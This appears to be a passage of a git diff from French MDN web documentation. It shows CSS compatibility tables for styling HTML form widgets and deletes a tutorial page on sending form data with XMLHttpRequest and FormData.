{{cssxref("background")}}Partiel[1]Oui -
    -
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    2. -
-
{{cssxref("border-radius")}}Partiel[1][2]Oui -
    -
  1. Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser -webkit-appearance:none pour pouvoir appliquer cette propriété aux champs de recherche. Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que background:none ne soit utilisé.
    2. -
  2. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    3. -
-
{{cssxref("box-shadow")}}NonPartiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
- -

Boutons

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Oui -
    -
  1. Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.
    2. -
-
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Oui -
    -
  1. Cette propriété n'est pas appliquée sur les navigateurs fondés sur WebKit sur Mac OSX ou iOS.
    2. -
-
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}PartielOui 
{{cssxref("text-indent")}}OuiOui 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}OuiOui 
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Yes[1]Yes[1] -
    -
  1. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    2. -
-
{{cssxref("box-shadow")}}NonPartiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
- -

Widget number

- -

Sur les navigateurs qui implémentent le widget number, il n'y a pas de méthode standard pour changer le style des roulettes utilisées pour changer la valeur du champ. Il est à noter que les roulettes de Safari sont en dehors du champ.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Partiel[1] -
    -
  1. Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.
    2. -
-
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Partiel[1] -
    -
  1. Sur Opera, les roulettes sont zoomés, ce qui peut masquer le contenu du champ.
    2. -
-
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}OuiOui 
{{cssxref("text-align")}}OuiOui 
{{cssxref("text-decoration")}}PartielPartiel 
{{cssxref("text-indent")}}OuiOui 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}PartielPartiel 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière‑plan
{{cssxref("background")}}NonNon -

Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.

-
{{cssxref("border-radius")}}NonNon
{{cssxref("box-shadow")}}NonNon
- -

Cases à cocher et boutons radio

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}Non[1]Non[1] -
    -
  1. Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.
    2. -
-
{{cssxref("height")}}Non[1]Non[1] -
    -
  1. Certains navigateurs ajoutent des marges supplémentaires et d'autres étirent le widget.
    2. -
-
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
- -

Boîtes à sélection (ligne unique)

- -

Firefox ne fournit aucun moyen de changer la flèche vers le bas sur l'élément {{HTMLElement("select")}}.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}Partiel[1]Partiel[1] -
    -
  1. Cette propriété est correcte sur l'élément {{HTMLElement("select")}}, mais cela peut ne pas être le cas sur les éléments {{HTMLElement("option")}} ou {{HTMLElement("optgroup")}}.
    2. -
-
{{cssxref("height")}}NonOui 
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Non[1]Partiel[2] -
    -
  1. La propriété est appliquée, mais de manière incohérente entre navigateurs sous Mac OSX.
    2. -
  2. La propriété est bien appliquée sur l'élément {{HTMLElement("select")}}, mais est traitée de manière incohérente sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    3. -
-
Texte et polices
{{cssxref("color")}}Partiel[1]Partiel[1] -
    -
  1. Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. -
-
{{cssxref("font")}}Partiel[1]Partiel[1] -
    -
  1. Sur Mac OSX, les navigateurs fondés sur WebKit ne prennent pas en charge cette propriété sur les widgets natifs et, avec Opera, ils ne la prennent pas du tout en charge sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. -
-
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. -
-
{{cssxref("text-align")}}No[1]No[1] -
    -
  1. IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété pour ce widget.
    2. -
-
{{cssxref("text-decoration")}}Partiel[1]Partiel[1] -
    -
  1. Seul Firefox fournit une prise en charge totale de cette propriété. Opera ne la prend pas du tout en charge et d'autres navigateur ne le font que pour l'élément  {{HTMLElement("select")}}.
    2. -
-
{{cssxref("text-indent")}}Partiel[1][2]Partiel[1][2] -
    -
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. -
  2. IE9 ne prend pas en charge cette propriété.
    3. -
-
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}Partiel[1][2]Partiel[1][2] -
    -
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. -
  2. IE9 ne prend pas en charge cette propriété.
    3. -
-
{{cssxref("text-transform")}}Partiel[1]Partiel[1] -
    -
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. -
-
Bordure et arrière-plan
{{cssxref("background")}}Partiel[1]Partiel[1] -
    -
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. -
-
{{cssxref("border-radius")}}Partiel[1]Partiel[1]
{{cssxref("box-shadow")}}NonPartiel[1]
- -

Boîtes à sélection (multilignes)

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Partiel[1] -
    -
  1. Opera ne prend pas en charge {{cssxref("padding-top")}} et {{cssxref("padding-bottom")}} sur l'élément {{HTMLElement("select")}}.
    2. -
-
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}OuiOuiVoir la note à propos de {{cssxref("line-height")}}.
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété sur les éléments {{HTMLElement("select")}}, {{HTMLElement("option")}}, et {{HTMLElement("optgroup")}} ; les navigateurs fondés sur WebKit sur Mac OSX ne prennent pas en charge cette propriété sur les éléments {{HTMLElement("option")}} et {{HTMLElement("optgroup")}}.
    2. -
-
{{cssxref("text-align")}}No[1]No[1] -
    -
  1. IE9 sous Windows 7 et les navigateurs fondés sur WebKit sous Mac OSX ne prennent pas en charge cette propriété sur ce widget.
    2. -
-
{{cssxref("text-decoration")}}No[1]No[1] -
    -
  1. Uniquement pris en charge par Firefox et IE9+.
    2. -
-
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}Partiel[1]Partiel[1] -
    -
  1. La plupart des navigateurs ne prennent en charge cette propriété que pour l'élément {{HTMLElement("select")}}.
    2. -
-
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Yes[1]Yes[1] -
    -
  1. Sur Opera la propriété {{cssxref("border-radius")}} n'est appliquée que si une bordure est explicitement définie.
    2. -
-
{{cssxref("box-shadow")}}NonPartiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
- -

Datalist

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}NonNon 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}NonNon 
{{cssxref("font")}}NonNon 
{{cssxref("letter-spacing")}}NonNon 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
- -

Sélecteur de fichiers

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}OuiOui 
{{cssxref("font")}}No[1]No[1] -
    -
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. -
-
{{cssxref("letter-spacing")}}Partiel[1]Partiel[1] -
    -
  1. Beaucoup de navigateurs appliquent cette propriété sur le bouton de sélection.
    2. -
-
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}Partiel[1]Partiel[1] -
    -
  1. Agit plus ou moins comme une marge supplementaire en dehors du widget.
    2. -
-
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] -
    -
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. -
-
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonPartiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
- -

Sélecteurs de date

- -

Beaucoup de propriétés sont prises en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}NonNon 
{{cssxref("height")}}NonNon 
{{cssxref("border")}}NonNon 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}NonNon 
Texte et polices
{{cssxref("color")}}NonNon 
{{cssxref("font")}}NonNon 
{{cssxref("letter-spacing")}}NonNon 
{{cssxref("text-align")}}NonNon 
{{cssxref("text-decoration")}}NonNon 
{{cssxref("text-indent")}}NonNon 
{{cssxref("text-overflow")}}NonNon 
{{cssxref("text-shadow")}}NonNon 
{{cssxref("text-transform")}}NonNon 
Bordure et arrière-plan
{{cssxref("background")}}NonNon 
{{cssxref("border-radius")}}NonNon 
{{cssxref("box-shadow")}}NonNon 
- -

Sélecteurs de couleurs

- -

Il n'y a pas actuellement suffisamment d'implémentation pour obtenir des comportements fiables.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}No[1]Oui -
    -
  1. Opera gère cette propriété comme pour un widget select avec les mêmes restrictions.
    2. -
-
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}No[1]Oui -
    -
  1. Opera gère cette propriété comme pour un widget select avec les mêmes restrictions.
    2. -
-
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] -
    -
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Widgets meter et progress

- -

Il n'y a pas actuellement suffisemment d'implémentation pour obtenir des comportements fiables.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}PartielOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}OuiPartiel[1] -
    -
  1. Chrome cache les éléments {{HTMLElement("progress")}} et {{HTMLElement("meter")}} quand la propriété {{cssxref("padding")}} est appliquée sur un élément altéré.
    2. -
-
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] -
    -
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Widget range

- -

Il n'y a pas de méthode standard pour changer le style de la poignée de range et Opera n'a aucun moyen de modifier le rendu par défaut du widget range.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}Partiel[1]Partiel[1] -
    -
  1. Chrome et Opera ajoutent quelque espace supplémentaire autour du widget, alors que Opera sous Windows 7 réduit la poignée de range.
    2. -
-
{{cssxref("border")}}NonOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}Partiel[1]Oui -
    -
  1. La propriété {{cssxref("padding")}} est appliquée, mais elle n'a aucun effet visible.
    2. -
-
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}No[1]No[1] -
    -
  1. Pris en charge mais il y a trop d'incohérence entre les navigateurs pour que ce soit fiable.
    2. -
-
{{cssxref("border-radius")}}No[1]No[1]
{{cssxref("box-shadow")}}No[1]No[1]
- -

Boutons image

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
PropriétéNANote
Modèle de boîte CSS
{{cssxref("width")}}OuiOui 
{{cssxref("height")}}OuiOui 
{{cssxref("border")}}OuiOui 
{{cssxref("margin")}}OuiOui 
{{cssxref("padding")}}OuiOui 
Texte et polices
{{cssxref("color")}}N.A.N.A. 
{{cssxref("font")}}N.A.N.A. 
{{cssxref("letter-spacing")}}N.A.N.A. 
{{cssxref("text-align")}}N.A.N.A. 
{{cssxref("text-decoration")}}N.A.N.A. 
{{cssxref("text-indent")}}N.A.N.A. 
{{cssxref("text-overflow")}}N.A.N.A. 
{{cssxref("text-shadow")}}N.A.N.A. 
{{cssxref("text-transform")}}N.A.N.A. 
Bordure et arrière-plan
{{cssxref("background")}}OuiOui 
{{cssxref("border-radius")}}Partiel[1]Partiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
{{cssxref("box-shadow")}}Partiel[1]Partiel[1] -
    -
  1. IE9 ne prend pas en charge cette propriété.
    2. -
-
- -

{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}

- -

Dans ce module

- - diff --git a/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html b/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html deleted file mode 100644 index 922bfb2aaf..0000000000 --- a/files/fr/web/guide/html/formulaires/sending_forms_through_javascript/index.html +++ /dev/null @@ -1,440 +0,0 @@ ---- -title: Envoi de formulaires avec JavaScript -slug: Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript -translation_of: Learn/Forms/Sending_forms_through_JavaScript ---- -
{{LearnSidebar}}{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers", "Web/Guide/HTML/Formulaires")}}
- -

Comme dans le précédent article, les formulaires HTML peuvent envoyer une requête HTTP par déclaration. Mais des formulaires peuvent aussi préparer une requête HTTP à adresser via JavaScript. Cet article explore comment faire cela.

- -

Un formulaire n'est pas toujours un <form>

- -

Avec les applications Web ouvertes, il est de plus en plus courant d'utiliser des formulaires HTML autres que des formulaires à remplir par des personnes — de plus en plus de développeurs prennent le contrôle sur la transmission des données.

- -

Obtenir le contrôle sur la totalité de l'interface

- -

La soumission d'un formulaire HTML standard charge l'URL où les données sont envoyées, car la fenêtre du navigateur manipule une pleine page. Éviter de charger une pleine page peut amener plus de fluidité en masquant des clignotements et des lenteurs de réseau.

- -

De nombreuses UI modernes n'utilisent les formulaires HTML que pour recueillir des données utilisateur. Lorsque l'utilisateur veut envoyer les données, l'application prend la main et transmet les données de manière asynchrone en arrière-plan, mettant à jour uniquement les parties de l'interface utilisateur nécessitant des modifications.

- -

L'envoi asynchrone de données arbitraires est connu sous le nom AJAX, qui signifie "Asynchronous JavaScript And XML" (XML et JavaScript asynchrones).

- -

Comment est-ce différent ?

- -

AJAX utilise l'objet DOM {{domxref("XMLHttpRequest")}} (XHR).Il peut construire des requêtes HTTP, les envoyer et retrouver leur résultats.

- -
-

Note : Les techniques AJAX anciennes ne se fondaient pas forcément sur {{domxref("XMLHttpRequest")}}. Par exemple, JSONP combiné à la fonction eval(). Cela fonctionne, mais n'est pas recommandé en raison de sérieux problèmes de sécurité. La seule raison d'en poursuivre l'utilisation est l'utilisation de navigateurs anciens qui ne prennent pas en charge {{domxref("XMLHttpRequest")}} ou JSON, mais ce sont vraiment des navigateurs anciens ! Évitez ces techniques.

-
- -

 

- -

Historiquement, {{domxref("XMLHttpRequest")}} a été conçu pour récupérer et envoyer du XML comme format d'échange. Cependant, JSON a remplacé XML et est de plus en plus courant aujourd'hui.

- -

Mais ni XML ni JSON ne s'adaptent à l'encodage des demandes de données de formulaire. Les données de formulaire (application/x-www-form-urlencoded) sont constituées de listes de paires clé/valeur codées par URL. Pour la transmission de données binaires, la requête HTTP est transformée en données multipart/form‑data.

- -

Si vous contrôlez le frontal (le code exécuté dans le navigateur) et l'arrière‑plan (le code exécuté sur le serveur), vous pouvez envoyer JSON/XML et les traiter comme vous le souhaitez.

- -

Mais si vous voulez utiliser un service tiers, ce n'est pas si facile. Certains services n'acceptent que les données de formulaire. Il y a aussi des cas où il est plus simple d'utiliser les données du formulaire. Si les données sont des paires clé/valeur ou des données binaires brutes, des outils d'arrière‑plan existants peuvent les traiter sans code supplémentaire.

- -

Comment envoyer de telles données ?

- -

Envoi des données de formulaire

- -

Il y a 3 façons d'envoyer des données de formulaire, allant des techniques existantes jusqu'à l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} plus récent. Examinons-les en détail.

- -

Construire manuellement un XMLHttpRequest

- -

{{domxref("XMLHttpRequest")}} est la manière la plus sûre et la plus fiable de faire des requêtes HTTP. Pour envoyer des données de formulaire avec {{domxref("XMLHttpRequest")}}, préparez les données par encodage URL et suivez les spécificités des requêtes de données de formulaire.

- -
-

Note : Pour en savoir plus sur XMLHttpRequest, ces articles pourraient vous intéresser : un article d'introduction à AJAX et un didacticiel plus fouillé à ce propos utilisant XMLHttpRequest.

-
- -

Reconstruisons l'exemple précédent :

- -
<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button>
- -

Comme vous pouvez le voir, le HTML n'a pas réellement changé. Mais, le JavaScript est totalement différent :

- -
function sendData(data) {
-  var XHR = new XMLHttpRequest();
-  var urlEncodedData = "";
-  var urlEncodedDataPairs = [];
-  var name;
-
-  // Transformez l'objet data en un tableau de paires clé/valeur codées URL.
-  for(name in data) {
-    urlEncodedDataPairs.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]));
-  }
-
-  // Combinez les paires en une seule chaîne de caractères et remplacez tous
-  // les espaces codés en % par le caractère'+' ; cela correspond au comportement
-  // des soumissions de formulaires de navigateur.
-  urlEncodedData = urlEncodedDataPairs.join('&').replace(/%20/g, '+');
-
-  // Définissez ce qui se passe en cas de succès de soumission de données
-  XHR.addEventListener('load', function(event) {
-    alert('Ouais ! Données envoyées et réponse chargée.');
-  });
-
-  // Définissez ce qui arrive en cas d'erreur
-  XHR.addEventListener('error', function(event) {
-    alert('Oups! Quelque chose s\'est mal passé.');
-  });
-
-  // Configurez la requête
-  XHR.open('POST', 'https://example.com/cors.php');
-
-  // Ajoutez l'en-tête HTTP requise pour requêtes POST de données de formulaire
-  XHR.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
-
-  // Finalement, envoyez les données.
-  XHR.send(urlEncodedData);
-}
- -

Voici le résultat en direct :

- -

{{EmbedLiveSample("Construire_manuellement_un_XMLHttpRequest", "100%", 50)}}

- -
-

Note : Cette utilisation de {{domxref("XMLHttpRequest")}} est assujettie à la politique « même origine » si vous voulez envoyer des données à un site web tiers. Pour les demandes d'origine croisée, vous aurez besoin d'un contrôle d'accès CORS et HTTP.

-
- -

Utilisation de XMLHttpRequest et de l'objet FormData

- -

Construire manuellement une requête HTTP peut devenir fastidieux. Heureusement, une spécification XMLHttpRequest récente fournit un moyen pratique et plus simple pour traiter les demandes de données de formulaire avec l'objet {{domxref("XMLHttpRequest/FormData", "FormData")}}.

- -

L'objet {{domxref("XMLHttpRequest/FormData", "FormData")}} peut s'utiliser pour construire des données de formulaire pour la transmission ou pour obtenir les données des élément de formulaire de façon à gérer leur mode d'envoi. Notez que les objets {{domxref("XMLHttpRequest/FormData", "FormData")}} sont en écriture seule (« write only »), ce qui signifie que vous pouvez les modifier, mais pas récupérer leur contenu.

- -

L'utilisation de cet objet est détaillée dans Utiliser les objets FormData, mais voici deux exemples :

- -

Utiliser un objet FormData autonome

- -
<button type="button" onclick="sendData({test:'ok'})">Cliquez ici !</button>
- -

Vous devriez être familier de cet exemple HTML.

- -
function sendData(data) {
-  var XHR = new XMLHttpRequest();
-  var FD  = new FormData();
-
-  // Mettez les données dans l'objet FormData
-  for(name in data) {
-    FD.append(name, data[name]);
-  }
-
-  // Définissez ce qui se passe si la soumission s'est opérée avec succès
-  XHR.addEventListener('load', function(event) {
-    alert('Ouais ! Données envoyées et réponse chargée.');
-  });
-
-  // Definissez ce qui se passe en cas d'erreur
-  XHR.addEventListener('error', function(event) {
-    alert('Oups! Quelque chose s\'est mal passé.');
-  });
-
-  // Configurez la requête
-  XHR.open('POST', 'https://example.com/cors.php');
-
-  // Expédiez l'objet FormData ; les en-têtes HTTP sont automatiquement définies
-  XHR.send(FD);
-}
- -

Voici le résultat directement :

- -

{{EmbedLiveSample("Utiliser_un_objet_FormData_autonome", "100%", 60)}}

- -

Utiliser un objet FormData lié à un élément form

- -

Vous pouvez également lier un objet FormData à un élément {{HTMLElement("form")}} et  créer ainsi un FormData représentant les données contenues dans le formulaire.

- -

Le HTML est classique :

- -
<form id="myForm">
-  <label for="myName">Dites-moi votre nom :</label>
-  <input id="myName" name="name" value="John">
-  <input type="submit" value="Envoyer !">
-</form>
- -

Mais JavaScript sera de la forme :

- -
window.addEventListener("load", function () {
-  function sendData() {
-    var XHR = new XMLHttpRequest();
-
-    // Liez l'objet FormData et l'élément form
-    var FD = new FormData(form);
-
-    // Définissez ce qui se passe si la soumission s'est opérée avec succès
-    XHR.addEventListener("load", function(event) {
-      alert(event.target.responseText);
-    });
-
-    // Definissez ce qui se passe en cas d'erreur
-    XHR.addEventListener("error", function(event) {
-      alert('Oups! Quelque chose s\'est mal passé.');
-    });
-
-    // Configurez la requête
-    XHR.open("POST", "https://example.com/cors.php");
-
-    // Les données envoyées sont ce que l'utilisateur a mis dans le formulaire
-    XHR.send(FD);
-  }
-
-  // Accédez à l'élément form …
-  var form = document.getElementById("myForm");
-
-  // … et prenez en charge l'événement submit.
-  form.addEventListener("submit", function (event) {
-    event.preventDefault();
-
-    sendData();
-  });
-});
- -

Voici le résultat en direct :

- -

{{EmbedLiveSample("Utiliser_un_objet_FormData_lié_à_un_élément_form", "100%", 70)}}

- -

Vous pouvez même intervenir davantage dans le processus en utilisant la propriété {{domxref("HTMLFormElement.elements", "elements")}} du formulaire pour obtenir une liste de tous les éléments de données du formulaire et les gérer chacun individuellement dans le programme. Pour en savoir plus, voir l'exemple dans la {{SectionOnPage("/en-US/docs/Web/API/HTMLFormElement.elements", "Accessing the element list's contents")}}.

- -

Construire un DOM dans un iframe caché

- -

